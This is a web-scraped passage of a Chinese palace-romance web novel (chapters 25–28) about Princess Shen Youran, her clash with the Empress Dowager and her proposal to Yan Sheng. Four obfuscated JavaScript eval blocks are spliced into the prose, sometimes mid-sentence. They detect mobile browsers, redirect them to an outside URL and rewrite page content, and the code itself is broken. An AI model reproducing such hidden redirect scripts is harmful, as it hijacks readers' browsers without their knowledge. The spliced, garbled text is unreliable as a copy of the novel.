“待会儿我一定要让青黛去查查到底是谁敢这么大胆,在哥哥嫂嫂新婚当日就打起了这种龌龊主意。” 严晟亦步亦趋地跟在身后,像是一个护卫。 他脑子里瞬间闪过一个念头——怕是沈悠然想要杀人的话,他也会立马递刀。 长乐殿外歌舞升平,歌舞声混合着酒气让人昏昏沉沉的,只想沉浸在这片刻的欢愉里。 沈悠然站在门口,看见传闻中两个在朝堂上总是针锋相对的大臣此刻正勾肩搭背地互相喊着“大哥”“二弟”。 他们旁边还有一个年过半百的男子,正在吹嘘着自己祖上的荣光,尽管并没有人在意。 还有的人,正对着一旁侍酒的侍女品头论足。 等待着青黛帮她打探消息的间隙,沈悠然看着殿中百态,不禁感慨着酒可真不是个好东西。 一想到这儿,她转过头去看向同样被她拉着躲在门外的严晟。 “你喝酒吗?”她问。 这没头没尾的问题让严晟有些摸不着头脑,但他也不是第一次摸不着头脑呢,譬如他现在就没怎么想明白为什么明明能够正大光明地进殿,却要像是做什么见不得人的事一样躲在这里。 但他还是老实回答,“会,但不常喝。” 酒后容易失控,严晟不喜欢那种无法控制的感觉。 沈悠然颇为认同地点点头,“那就好,那就好。” 好在哪里?有什么好? 严晟不敢问,他怕问了自己又无法回答。 因为对方暴露了身份,倒是也不难问,青黛没花什么功夫就带来了沈悠然想听的东西。 “帝姬说的,是太常少卿杨家的姑娘,唤作杨敏儿。”青黛不解,“帝姬打探她做什么?可是她惹恼了帝姬?” 沈悠然眼珠子提溜转着,想到了一个主意。 “青黛,你去让人帮我捉几只御花园里的毛虫过来,动作要快。” “然后,你!”她指着严晟,一副颐指气使的模样,“你去帮我把那个杨敏儿叫出来,就说她想见的人在等她。” 严晟皱着眉,“为什么是我?” 沈悠然晃着脑袋,说得有理有据,“她想见我哥哥,当然是和哥哥走得最近的你去传话最为合适了啊。” “不然若是她脑子又突然长出来了,对其他的人心有戒备怎么办?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741666|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还自诩好心地替严晟想了个不为难的法子,“到时候你随便找个人去女眷那边传话,人倒是不用进去,只站在门口让她瞧见是你传的话就够了。” 严晟还是不愿。 沈悠然正想要佯装发怒以帝姬的身份命令她,脑子里却突然想起了哥哥的一番话。 “他这个人,吃软不吃硬,不要和他对着来……” 她想了想,然后清了清嗓子,拽着严晟的袖口,刻意压低了声音。 “严晟哥哥,你也不想我哥哥的婚事,就这么被人破坏吧?” 严晟垂眸,视线落在自己的袖口。 细嫩的指尖拽着绯色的衣裳,一红一白,格外惹眼。 因为犹豫再三,终于还是点了点头。 “那就这么说定了,”沈悠然眼角满是笑意,“我在长乐殿旁边的院子等你们。” 哪里有半分那副因为有求于人的才低眉顺眼模样。 但偏偏严晟就说不出来拒绝的话。 “还烦请昭懿帝姬答应我,不可过分。” 沈悠然仗义地拍拍胸脯:“你放心,我最多就是吓吓她警告一番,不会连累你严公子的名声。” 方才还是严晟哥哥,现下又成了严公子。 当真是过河拆桥。 严晟帮了忙,沈悠然自然也是不会辜负他的信任。 说只是恐吓一番,就只是恐吓一番,再没有多的动作。 平日里她总是嬉嬉闹闹的,看起来也就是个十七岁的无忧无虑的小姑娘。 但真严肃起来,倒是最像盛兴帝的那个。 杨敏儿看着脚下围城一圈的还在蠕动着的青虫,根本不敢乱动一步,生怕那些虫子就顺着她的脚背爬到身上来。 光是这样看着,就觉得身上泛起了阵阵痒意。 偏偏对面还站着个一脸不悦的昭懿帝姬,她更加不敢妄动了。 “不、不知……不知臣女何处惹恼了帝姬,竟让帝姬如此捉弄于我。”杨敏儿咬着牙让自己不要哭出声来。 沈悠然让青黛取了五十两银子来,径直扔在她面前。 杨敏儿瞬间就明白自己的主意到底还是被人发现了。 她吓得双脚一软,本是想跪在地上求饶,但一想到地上的那些青虫,只好半蹲着哭诉自己只是一时之间鬼迷心窍想要进宫里当贵人。 这错认得如此之快,脸上又是真哭得涕泗横流,倒让沈悠然一腔恐吓之言无处说。 “那、那你也不该在今日……”沈悠然干巴巴地反驳着。 杨敏儿直言自己是没了法子,错过今日就再也没机会见得了太子了,一时之间猪油蒙了心,在侍女哭着回来说事情办砸的时候,已经恨不得给自己两巴掌了。 话都让她说完了,沈悠然抖了抖唇,也不知道再说点什么好了。 她顿时又没好意思再逮着人欺负,上前踢开几只毛虫给她开了个道,挥挥手让她走了。 只是这一拳打在了棉花上,让她多多少少有些气馁。 颇有一种英雄无用武之地的无奈。 严晟倚在一旁的树下,原是一直在看沈悠然,但余光却突然看见一个嬷嬷脚步匆匆走来。 他下意识觉得这不是什么好事,当即上前站在了沈悠然的身前。 但那嬷嬷连一丝目光都未曾分给严晟,径直走向沈悠然,面无表情地同沈悠然请安。 “帝姬,太后娘娘有请。” 26. 第 26 章 不仅严晟觉得不对,沈悠然更是如临大敌。 虽是祖孙,但她和庄太后并没有半点情分。 在庄太后心中,只有沈照和沈沁才是她的孙子孙女。 幼时沈悠然也不懂,还常常因为沈沁能得到庄太后的全部宠爱而自己却被忽视而难过,然后就跑到赵皇后面前哭。 赵皇后就安慰沈悠然,说是人就会有喜欢的人,也会有不喜欢的人,就像沈悠然不喜欢沈沁一样,庄太后也可以不喜欢沈悠然。 后来大点了,沈悠然就明白了——庄太后不是她的亲祖母,根本也就无须对她宠爱。 先帝在位的时候,彼时的庄太后还是说一不二的庄皇后,作为中宫娘娘,她所生的孩子早早地就被立为太子。 可惜好景不长,这么一个受万众瞩目的孩子死在了一个冬日,溺水受了寒,整个太医院连着三日都未曾歇息过,但还是没能救活。 庄太后也因此消沉了很长一段时间,与之有着天差地别的,是她的夫君、那个死去的孩子的父亲,在葬礼后的第二日就封了一个宫女为贵人。 虽然她的孩子死了,但这宫中还有、还会有许多的孩子叫她一声“母后”。 那时候庄皇后就明白了,皇帝并不是她的倚靠。 她需要一个孩子,但她年轻的时候不懂,为了让先太子身体康健,孕期吃了太多的东西,以至于生产之时太过艰难,伤了根本。 于是,彼时才五岁的盛兴帝多了一个“母后”,与此同时,他再也不能祭拜那位因为难产而死在宫中贵人。 虽是母子,但庄太后和盛兴帝之间总是隔着一层。 更何况是沈悠然这个孙女。 每次逢年过节的时候,只有盛兴帝携妻子儿女去慈宁宫拜见庄太后,从未曾有过庄太后主动相邀庆贺佳节。 反倒是沈沁和彼时还活着的庄贵妃,才算是慈宁宫的常客。 是以,当看见庄太后身边的嬷嬷前来请人,沈悠然下意识地就觉得是坏事临门。 “常嬷嬷,烦请稍等片刻,我去同母后说一声。”沈悠然心生怯意。 常嬷嬷眼睑习惯性地半垂着,看人的时候总带有一股说不清道不明的轻蔑。 “还请帝姬放心,若是皇后有事来寻,老奴自会派人通知。” 看来,这鸿门宴是让她连半刻钟都无法拖延了。 沈悠然抿着唇,认命般地抬腿往前走。 似乎是从她的垂头丧气里看出了心绪不佳,严晟未曾细想便开了口。 “我同你……昭懿帝姬一起去。” 沈悠然回过头看了严晟一眼,下唇微微一抖,意识到自己说不出拒绝的话。 有人陪着,总归是让她心安的。 常嬷嬷抬眼,看了看严晟,又看了眼沈悠然,目光低沉得宛如枯井一般望不见底。 * 沈悠然在慈宁宫中,见识到了一个意料之外但又在情理之中的人。 沈沁作为靖王独女,理应是今日喜宴的贵宾之一。 靖王在外游历,沈沁虽然是个未出阁的姑娘家,但也是作为靖王一支的代表人出席。 否则若是靖王府中无人赴宴,倒是会叫外人猜测靖王与盛兴帝兄弟不睦。 沈悠然前脚刚踏入慈宁宫主殿的大门,沈沁立马起身,站在庄太后身边大声斥责。 “沈悠然,你好大的威风!” “今日是太子哥哥的大喜之日,你竟敢在宫中肆意欺辱朝中官员的家眷,若是传出去了,你让太子哥哥的颜面放在哪里?让整个皇家的颜面往哪放?” 沈悠然顿时气极,沈沁讨厌她不是什么秘密,从前两人也时常针锋相对互不认输,但还从未有过这般空口白牙捏造事实的情况出现。 “沈沁!你在胡说什么!”沈悠然浑身都在发抖,“我怎么可能在哥哥的婚宴上……” 话说到一半,沈悠然想起了,定是她放毛毛虫恐吓杨敏儿被沈沁发现了。 “你是指太长少卿杨家的姑娘?她那是……” 沈悠然话锋一顿,不知道该怎么说才好。 实话实说吧,先不论随意打探储君行踪是大罪。她一个闺阁女子做出如此大胆的举动,被外人知道了也是要贻笑大方的。 名声有损不说,往后议亲怕是也会被人说闲话。 她虽做了错事,但在沈悠然看来,毛虫恐吓已然是惩罚了,这件事就已经算是了结了。 若是捅到了庄太后面前,少不得还要再引来一番波折。 沈悠然想了想,选择了沉默。 但她的沉默只会换来沈沁的变本加厉,只会让沈沁觉得抓住了沈悠然的小辫子。 “那是什么?怎么不说话了,做坏事被人发现了心里有鬼编不出来借口了是吧?” “皇祖母,你看看沈悠然,哪里有一点当帝姬的样子,你可得好好罚她。” 坐在大殿之上的人这才缓缓抬眸,看向了因为据理力争而面色泛红的沈悠然。 她的面容如同古刹里蒙尘已久的雕塑,岁月的磋磨无情地留下了印记。眉骨微微隆起,反衬得眼窝愈发深邃,让人一眼望过去只觉得在被审视。 因为年轻的时候伤了身子,后来又帮着先帝处理政事劳累过度,庄太后的身子一直不大好。 常年深居简出养身子,让庄太后的肤色看起来有一种稍显病态的白。 沈悠然自小就是有些害怕庄太后的,此时被庄太后带有责备的目光一看,当即就咬着自己的嘴唇垂下了头。 “这般大声喊叫,哪有半分帝姬的模样。”庄太后语气淡淡的,像是在谈论今日的天气,“帝姬还是去佛堂呆一个月,抄抄佛经养养性子吧。” 庄太后信佛,她口中的抄抄佛经,可不只是动动笔杆那么简单。 这一个月里,沈悠然必须是日日斋戒,饮食不得沾半点荤腥,每日须得在佛像前默念至少三个时辰的佛经,还得五体投地行磕头礼。 真要严格说来,这一套礼过后,额头、膝间都得连着红肿好几日。 即便知道庄太后对自己并无祖孙情,但她半点没有让沈悠然解释就直接定了罪,让沈悠然还是觉得有些心寒。 眼底传来阵阵酸意,沈悠然吸了吸鼻子。 一直在旁边插不上话的严晟忽然上前两步,对着庄太后行了个礼。 “启禀太后,方才之事,并非昭懿帝姬仗势欺人。” “实则在下之过,之前误以为杨大人有过,昭懿帝姬便替在下想了个法子,打算从杨大人家眷处入手,只是一些简单的审讯手段,并非刻意欺辱她人。” 沈悠然一听,顿时有些着急。 “你疯了吗?”她压低了声音,“你不知道庄太后她最是护短,那杨家虽说只是她的远亲,你这般随意编了个借口攀咬,定是不会轻易饶过你的。” 严晟微不可闻地冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750508|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她摇了摇头,“并非污蔑。” “杨家,中饱私囊。” “可你也不该……”不该当着庄太后的面说出来,万一触怒了她老人家可不好了。 “太后在意杨家。”严晟言简意赅。 沈悠然听明白了他的意思,沈悠然犯的错无关痛痒,事关杨家名声,多多少少也会让庄太后丢脸。 有了杨家的事,庄太后便不会在意沈悠然做了什么。 但凡有点脑子的,都能看出来严晟这是在帮沈悠然转移怒火。 沈沁看着严晟不动神色地将沈悠然护在身后,方才还因为能够在皇祖母面前狠狠告上一状而高兴,现下却觉得好似被人硬逼着塞了两口黄莲。 “严公子,你最好好好想想你在说什么!”沈沁咬着牙告诫。 她才不会信沈悠然是在做正事呢。 沈悠然不过就是仗着自己是盛兴帝和赵皇后的女儿,才有这么多人尊称一声帝姬,实际上也不过是个脑子里空空的草包,整日里除了招猫逗狗什么都不会,就知道在宫里到处乱窜。 怎么可能是在帮着严晟查案呢。 沈沁跺了跺脚,“皇祖母,一定是沈悠然威逼利诱严晟帮她说话的!” “沁儿,不可胡闹。”庄太后轻声叮嘱她。 比起方才呵斥沈悠然每个帝姬样的时候,温柔了不止是一星半点。 “严为康的儿子?”庄太后对着严晟招了招手,“上前来我看看。” 严晟迟疑了片刻,缓步上前。 沈悠然担心他会被自己连累,连忙跪在地上。 “皇祖母,一切皆是昭懿之过,还请皇祖母莫要迁怒他人,昭懿甘愿受罚。” 若是只有自己一人,沈悠然断然是不会认错的。 只是她不愿连累旁人,不管这个人是不是严晟。 既然沈悠然自请认罚,庄太后没有拒绝的道理。 她侧过身子,微微颔首。 “常嬷嬷,你去佛堂取些经文过来。” “帝姬身边没人伺候,你帮着将经文送回帝姬宫中。帝姬到底年幼,对这般深奥的经文多少有些不解的地方,你在旁帮着看看,解解惑。” 方才引沈悠然前来的嬷嬷半屈着身子行了个礼,然后就退了出去。 这是一点偷懒的机会都不给沈悠然留,硬是要监督着她抄一个月的经书。 沈悠然撇着嘴起身,明明是无故受罚,却还要道一声谢。 她觉得委屈,但再委屈也不能在慈宁宫里掉下眼泪,更不能在沈沁面前示弱。 若是父皇母后在此就好了…… 心里这般想着,沈悠然的话都带着些许的哭腔。 “皇祖母若是没有旁的吩咐,那昭懿就先退下了。” 话音刚落,殿外突然传来了一阵爽朗的笑声。 紧接着一个灰袍男子快步走进殿中,也不需要内侍的通传,径直走向了庄太后的方向。 他嘴里还带着调侃的话。 “哎哟,是谁惹我们家昭懿不开心了啊?” “怎么着声音,听起来像是要哭了呢?” 庄太后看着来人,心中一喜,立马起身相迎。 沈沁也是面露喜色,蹦跶着来到男人的身侧。 但男人却越过了沈沁伸出来的手,侧过身子拍了拍沈悠然的头顶。 “到底是谁这般大的胆子,敢让我们皎皎受委屈呢?” 27. 第 27 章 “十四叔!你回来了?” 沈悠然也很是惊喜,没想到在这里见到了靖王沈嘉正。 沈嘉正行十四,是先帝的最后一个儿子,庄太后生下沈嘉正的时候已年近四十,对这个好不容易得来的幼子很是宠爱。 当初先帝崩逝之时太子之位未定,又没有遗诏,所有人都以为庄太后会扶持自己的亲儿子上位,谁料最终帝位还是落在了养子盛兴帝身上。 庄太后对外的说辞是,幼子年少贪玩,不堪重任,无法肩负天下苍生之责。 对此,还有不少人称赞庄太后大义,不把民生当儿戏。 自沈嘉正被封为靖王之后,也确实如同庄太后所言,无心于政事,只当一个寄情于山水之间的闲散王爷。 一年十二个月,他能在宣阳城中呆上两个月已然是长久了。 因为见识广阔,沈嘉正口中总是有许多稀奇古怪的故事。 譬如他曾去过某个大山见识过一种人,他们会驱使虫蚁毒兽,被咬中的人就会失去意识为他人所控。 又譬如在沙漠里会出现一种叫做蜃境的东西,明明是满地的黄沙,却能让人看见湖泊和绿洲,引诱着口干舌燥失去方向的行人前去,等到凑近了就会发现是一场空。 再譬如在有些偏远的地方,人们还有自己的文字,说着只有自己人才听得懂的语言。 再再譬如…… 沈悠然幼时很崇拜这位十四皇叔,总觉得他的那张嘴里会冒出各种各样奇怪的东西,是那种沈悠然没见过但又非常向往的东西。 沈嘉正也非常喜欢这个侄女,每逢回宣阳城,总是会特意给这个侄女带一份礼。 比给最有希望当储君的沈煦的还要好。 比给即使自己侄子又是表外甥的沈照的还要好。 比……是自己亲女儿的沈沁的还要好。 沈嘉正看见沈悠然笑了,也跟着她一起笑:“是啊,十四叔想我们家皎皎了,这不特意赶回来了吗?” 站在一旁的沈沁看得眼热,尖利的声音响彻整个大殿。 “父王!你回来了!沁儿好想你呢。” 原本是很温情的一句话,但因为沈沁心中藏着怒气,调子变得很奇怪,有些刺耳,有些难听。 沈嘉正的目光落在她身上,点了点头,微不可闻地应了一声。 和方才同沈悠然寒暄的热络大相径庭。 即便这是意料之中的回应,但沈沁还是没忍住落下眼泪,又不想被人发现,垂着头跑回庄太后身边。 即便再怎么溺爱沈嘉正,庄太后也因他对待沈沁的态度而不悦,已记不清自己是第几次这般为孙女出头了。 “嘉正!你这一走又是三个月,沁儿可是日日都挂念着你呢。” 庄太后心中也是不满。 因为怀沈嘉正的时候确实是年纪大了,原就不大好的身子更是雪上加霜。 生完他之后的那几年,也是先帝最为荒唐的那几年,她既要养身子,又要帮着处理国事,实在是分身乏术。 这也导致比起严厉的亲生母亲来,年幼的沈嘉正更依赖那个无论闯了什么祸都会帮自己兜底的哥哥。 亲儿子向着养子不说,连带着对养子的女儿也比对自己的亲女儿好,这让庄太后如何能心平气和。 “儿子知晓了,让母后担心了,是儿子的过错。”沈嘉正上前,拉着庄太后的手坐下,“儿子这次去了南边,见识了锦州瓷器的精妙之处,特意亲手做了五蝠捧寿瓶回来献于母后。” “此瓶乃儿子亲手所做,天上入地仅此一份,还请母后笑纳。” 毕竟是许久未见的儿子,三两句话便将庄太后哄得面容都舒展了不少。 随后,沈嘉正又说自己给大婚的侄子备了贺礼,但礼物易碎,怕宫人们不上心,打发沈悠然出去盯着。 “儿子许久未见母后,有许多话想同母后说,实在是腾不出功夫。” 简单一句话,就让庄太后无心再去管沈悠然如何。 沈悠然在角落里悄悄眨了眨眼,微微屈膝感激十四叔替自己解围。 然后就趁着庄太后沉浸于儿子归家的喜悦中,小声请辞。 她知道此时离开沈太后不会怪罪,毕竟她最爱的儿子回来了,什么都无法影响她享天伦之乐。 只是…… 临出门之前,她还是没忍住回头看了一眼沈沁。 孤身一人站在角落里的沈沁。 * 沈悠然一出慈宁宫,就看见赵皇后一脸焦急地站在门口。 方才在殿中受了委屈,见到赵皇后的一瞬,她就飞扑进了赵皇后的怀中。 “母后!” 她也不哭诉,就是单纯的叫着母后。 赵皇后心疼地拍拍她的头,“好了好了,母后来接你了。” “方才母后并未进殿替你出头,可曾怪母后?” 沈悠然摇摇头,自然是不怪的。 因为她和母后都知道,盛兴帝虽是养子,但也是庄太后养了多年的儿子,这层关系放在这,无论如何盛兴帝都该善待庄太后。 而沈悠然无论如何,也是盛兴帝的孩子,要叫庄太后一声祖母。 只有赵皇后这个外来的人,和庄太后没有半分关系的陌生人,才是庄太后最讨厌的人。 毕竟庄太后一开始嘱意的儿媳任选,是自己的亲侄女。 一开始除去日常的请安问候,赵皇后几乎不会出现在庄太后面前。到后来或许是庄太后不想委屈自己见不愿意见的人,就连请安的环节也免了。 赵皇后有自知之明,听闻先是沈沁进了慈宁宫,然后沈悠然就被叫了过去,想到两个孩子平日里不太对付,当即就觉得会发生不好的事。 今日太子大婚,靖王早就托人带了信,一定会尽快赶回宣阳城,但路途遥远,变数太多,无法保证。 好在也是沈悠然运气好,靖王及时赶了回来,庄太后定然是不会让任何事耽误了她与儿子团聚的。 “所以十四叔是母后叫来的吗?”沈悠然挽着赵皇后的胳膊,准备回长乐殿。 她其实是想回颐华宫待着的,毕竟觉得委屈,。 但今天这种场合,赵皇后若是缺席太久,会让人猜测是不是出事了。 赵皇后拍了拍沈悠然的胳膊,示意跳脱的女儿先等等。 她转过头,看向严晟,“本宫替昭懿多谢严公子。” 赵皇后算不上是绝世大美人,但性格温和,让她整个人看起来都带着一种慈悲的母性。 严晟母亲离世得早,不太擅长同这个年纪的长辈相处,目光躲闪着行了个礼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755400|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “皇后娘娘折煞在下了,不过是举手之劳。” “况且方才在下的确在场,有义务替帝姬澄清真相。” 沈悠然不解,目光在母后和严晟之间来回转着,“母后,你这是什么意思啊?” 赵皇后表示,她也是接到信才知道沈悠然被庄太后叫走了。 至于口信…… 沈悠然想起去慈宁宫的路上,落在最后的严晟和一个侍女撞上了,那侍女当即跪下求饶,耽误了两句话的功夫。 为此,常嬷嬷还露出了不满的神色。 原来他是找人带了信…… 难怪母后知道让十四叔来救人。 知晓了来龙去脉之后,沈悠然也不扭捏,更何况眼前人还在大殿上帮她出过头呢。 “多谢严晟哥哥。”她微微屈膝行了个礼。 此时,这位大盛朝的帝姬眼中,严晟并不是臣子严太傅的独子,只是哥哥的朋友。 是一个帮过她的,哥哥的朋友。 和她之前让严晟帮忙叫杨敏儿出来的时候那般捏着嗓子故作甜腻不同,此时的沈悠然诚心实意的叫着哥哥,语气听起来极为乖巧。 也不知道是不是严晟的心理作用,总觉得她的这声“哥哥”,和叫沈煦的时候不一样。 “昭懿帝姬不必如此,你是殿下的妹妹,我自当是……护着帝姬的。” 赵皇后看着眼前这个少年儿郎,眼里满是赞赏。 居功但不自傲,态度谦逊,是个好孩子。 “好了好了,也别在此耽误功夫了,”她看了眼沈悠然,“虽然有靖王出面,但太后今日对你不满,你还是早些回席上呆着,莫要再闯什么祸了。” 她知道沈悠然不喜欢那种需要她时刻端着帝姬身份的场合,允她再晚一刻钟回长乐殿。 但既然赵皇后提到了庄太后的不满,沈悠然就不得不开始思索为什么平日里都视自己为不存在的庄太后怎么会突然把她叫到殿中发难。 平日里除了庄家上门,庄太后几乎都不会让沈悠然踏足慈宁宫。 除非是和沈沁之间起了龃龉,闹到了庄太后面前。 等等…… 沈悠然想到在殿中频频发难的沈沁,又看了眼严晟,只觉醍醐灌顶。 沈沁她该不会是嫉妒自己和严晟在一起,才故意去找庄太后告状的吧? 一想到这里,沈悠然的视线就落在严晟身上移不开了。 都怪这人,长得实在是……太能惹祸了。 感觉到这灼热的视线,严晟看向她,发现刚刚还说乖乖说着感谢的人,此时看向自己的眼神里是他看不懂的打量。 既像是埋怨,又有一种,说不清道不明的自豪? 变脸变得太快,惹得严晟失笑,“昭懿帝姬这样看着在下是何意?” 可恶,笑起来更好看了, 平日里像是高不可攀的天上月,但笑起来,又像会散发着让人迷幻香气的艳丽花朵,引诱无知路人。 沈悠然下意识地舔舔唇,突然有些理解为什么话本子里总是喜欢写那些恶霸要强抢良女做压寨夫人。 哥哥说过,对待严晟这种人,不能跟他玩什么委婉的心思,得摊开了跟他讲。 “严晟哥哥!” “你做我的驸马怎么样?” 28. 第 28 章 沈悠然明显地看见严晟身形一怔。 他的目光完全落在了沈悠然的身上。 论家世,她是盛兴帝和赵皇后的掌上明珠,一母同胞的兄长被封为太子,即便是盛兴帝百年之后,依旧会有人护着她,保她一世无虞。 论外在,沈悠然身形纤细,带有十七岁少女特有的轻盈,歪着身子等待严晟回答的时候,像是一只扑闪着蝶翼的蝴蝶。一双圆润的杏眼眼角微垂,看向旁人的时候眼眸里水波微漾。 论内在…… 除去幼时偶尔的擦肩而过,马场那日,并不是严晟第一次见沈悠然。 春耕那日,严晟受沈煦之托沿路查看布防,一路巡查到护城河边。 河边有两个湿漉漉的女子,一人做妇人打扮,挺着腰,微垂着头,身子不住地耸动着,也不知道是太冷了,还是在哭泣。 另一个挽着双蟠髻的女子侧对着严晟,一手抱臂,隔着一个河岸严晟都能看见她咬着牙打了个寒颤。 明明两个人都很狼狈,但前者一副怯懦模样,后者却只是像踩了一个水坑一样,虽然觉得不适,但却不太在意。 想来或许是今日人多,不慎落了水。 严晟一个男子不好上前,转过头让守卫去附近的农户家中寻几件干净衣裳给人送去。 紧接着却听见两个女子之间发出了吵闹的响动,只得停下脚步先弄清原委。 只听了片刻,便明白了来龙去脉——那妇人遭丈夫背叛一时想不开投河,双蟠髻的女子路过顺手救了人。 他听得那女子,竟是劝妇人和离。 大盛并没有女子不得休夫的规矩,但世人多是觉得,休夫是污名,若是女子休夫,定是嫌贫爱富或移情别恋。 但若是男子休妻,定会是女子之过,哪怕是该被唾弃的抛弃糟糠之妻,也指不定有人觉得是这位糟糠妻配不上男子。 她对面的妇人显然也有些犹豫,又被她咬着后槽牙骂了两句。 然后严晟听到她说,“长痛不如短痛,腐肉不剜,终将断骨。” 随后,一个穿着宫服的侍女匆忙赶来,看见女子一身湿透的模样,几近晕厥,嘴上叫着“帝姬”,护着人回了车上。 没过多久,严晟派人找来的农妇也给妇人送上了衣物。 严晟垂眸,心里默念着“腐肉不剜,终将断骨”,也转身离去了。 他那时候就记住了沈悠然的名号。 他闭着眼,思绪从春耕日回到了现在,他又看了一眼沈悠然,然后沉默了半息。 最后还是抿着唇低声回应了两个字。 “不好。” 刚说完,他有些后悔。 虽然沈悠然胆子大得敢一个人下河救人,敢设局去庄家探查,但到底是个小姑娘。 自己这样拒绝是不是太容易让她难堪了? “我是说……”他匆忙解释,根本来不及像从前那样一口一个在下拉开距离。 沈悠然打断他,“为什么不行啊?” 盯着他的目光里满是澄澈,根本没有被拒绝的那种失落。 见严晟没有回答,她上前一步,拽着严晟的袖口又问了一遍。 这般坦诚的目光,严晟恍惚中竟觉得拒绝她是自己的错,下意识地舔了舔唇,过了好半晌才又开口。 “大盛的驸马,不能有实权。” 沈悠然点了点头,“这倒是事实。” 淡然得好像这是与她无关的事一样。 “不过没关系,我父皇是皇帝,我可以让父皇颁布新令,你若是想入朝为官,那便随你心意,小事一桩。” 事情哪里有她说的那般简单。 祖宗留下来的规矩,就是为了防止外姓的驸马手握实权乱了超纲,哪怕盛兴帝是皇帝,已不敢轻易更改。 严晟有自己的抱负,驸马不会是他的选择。 见他神色不好,沈悠然竟踮起脚尖,一副安慰人的模样,“没事的,父皇一定会答应我的,从小到大,他都会答应我的。” “差不多一刻钟了,得回去了。你也要早点回去呢,你可是哥哥的傧相,得帮着哥哥挡酒呢。” 那模样,就像是被拒绝的人是严晟一般。 严晟皱着眉,全然没有意识到,他只是不想当驸马。 但不是不想当沈悠然的驸马。 * 沈煦是在第二日携太子妃拜见皇室宗亲的时候才知道十四叔回来了。 正是春风得意时,又遇见了许久不见的皇叔,等到见礼结束之后,他便匆匆带着蔺朝暮,再次引荐。 “朝暮,这位是靖王殿下,你该同我一起唤一声十四叔。” 方才是作为太子同太子妃一道行礼,现下则是新郎官给新妇介绍自己的家里人。 蔺朝暮早就听闻过靖王殿下的名号,不止是官场上,就连民间也道,这位王爷不贪钱也不爱权,只喜游历山川。 若是先帝的其他子嗣都这般淡泊名利,当年夺嫡之争,就不会以死伤过半,其余王爷迁出宣阳城结束了。 更何况,她也早就从沈煦口中听过靖王的事迹,知晓靖王一直待他们不错。 小的时候靖王还曾悄悄带着沈煦兄妹三人去护城河边捉鱼,结果被守卫发现了进宫通风报信,然后被盛兴帝派人带着圣旨押了回来。 “十四叔。”蔺朝暮微微屈膝,双手交叠着准备弯腰行礼。 沈嘉正摆了摆手,连忙叫停。 “不用那等虚礼,你是煦儿的妻子,当知晓本王不喜这般繁琐的东西。” “这是本王从锦州带回来的一双瓷瓶,上面的麒麟送子纹,可是本王亲笔描上去的。” 蔺朝暮看了一眼身后侍女端着的锦盒,有些惶恐。 “怎可如此,方才敬茶之时已然收了十四叔的见礼,现下又怎好再向十四叔讨礼。” 沈嘉正不在意这些,“方才那是给太子妃的礼,这个,是我这个当叔叔的,给侄媳妇送的礼。” 但蔺朝暮依旧不敢松懈。 方才认了一圈的人,她能觉察出来,皇室宗亲里不是人人都满意她这个太子妃。 蔺朝暮和沈煦并非父母之命媒妁之言,是二人年少相识,而后有了情谊,沈煦便向盛兴帝提及想要求取蔺朝暮一事。 同盛兴帝和赵皇后年轻时候一模一样。 帝后二人见蔺朝暮是个好姑娘,便同意了婚事。 但皇室宗亲里,多的是人不满蔺朝暮的出声,总觉得大盛的太子妃,至少得是个重臣之女。 而不是劳什子的礼部侍郎之女。 蔺朝暮自有便聪慧,擅长察言观色,本就因为是新婚第一日而紧张,被明里暗里表达了不满之后,更是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759615|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谨慎。 就怕这新婚第一日便落得不好的名声。 沈煦瞧见她的紧张,轻抚着她的手背,出声替她应下了皇叔的好意。 在旁瞧见这一切的沈悠然扫了一眼蔺朝暮,然后跳到了沈嘉正面前。 “哦!十四叔,被我逮住了吧。” “昨日你还同皇祖母说送她的五蝠捧寿瓶是天上地下独一无二的礼,现在怎么又是你亲手描的花样了。” “快给我五十两银子,不然我可就去告发你啦!” 沈嘉正好气又好笑。 “本王那是为了谁?皎皎你说,是为了救哪个没良心的小姑娘?” 沈悠然不管,只一味做着鬼脸。 “成成成,这是一百两的银票。”沈嘉正捏着银票一角,在沈悠然面前晃了晃,又很快挪开,“不过这银票可不是那么好拿的。” 